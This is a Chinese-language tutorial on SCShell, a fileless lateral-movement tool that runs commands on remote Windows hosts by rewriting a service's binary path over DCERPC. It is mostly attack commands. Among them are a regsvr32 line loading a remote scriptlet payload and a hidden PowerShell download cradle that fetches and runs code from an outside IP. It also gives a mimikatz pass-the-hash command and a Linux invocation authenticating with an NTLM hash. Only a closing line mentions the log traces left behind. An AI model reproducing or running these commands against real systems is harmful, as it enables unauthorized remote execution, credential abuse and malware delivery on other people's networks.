橫向無文件移動–SCshell使用
1、簡介
SCShell是無文件橫向移動工具,它依賴ChangeServiceConfigA來運行命令。該工具的優點在於它不會針對SMB執行身份驗證。一切都通過DCERPC執行。無需創建服務,而只需通過ChangeServiceConfigAAPI 遠程打開服務並修改二進制路徑名即可(所以要事先知道目標上的服務名稱)。支持py和exe兩種文件類型。
2、使用
Windows 使用
SCShell.exe target service payload domain username password
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password # XblAuthManager 是 Xbox Accessory Management Service的服務名
測試寫入文件
scshell.exe 192.168.152.148 defragsvc "C:\windows\system32\cmd.exe /c echo ' hello' > c:\windows\temp\hello.txt" . administrator admin@123
CSshell橫向利用powershell上線
scshell.exe 192.168.152.148 defragsvc "C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('//182.1.1.156:8000/a')" . administrator admin@123
可以使用該C程序傳遞哈希值。
有時情況下,將使用當前進程令牌。您可以使用標準傳遞哈希方法設置當前流程令牌。
在本地系統上
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
然後在新創建的cmd.exe中運行SCShell.exe進行橫向。
上面我們使用的是XblAuthManager,其實我們還可以使用defragsvc,msbuild等等
2. Linux 安裝使用
pip install impacket
git clone //github.com/Mr-Un1k0d3r/SCShell
cd //github.com/Mr-Un1k0d3r/SCShell
python scshell.py ./administrator:[email protected] # 執行cmd模式,沒有命令回顯
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce # hash驗證
3、日誌痕迹
使用用戶憑證連接會在目標日誌系統留下用戶名、來訪機器IP和服務超時等信息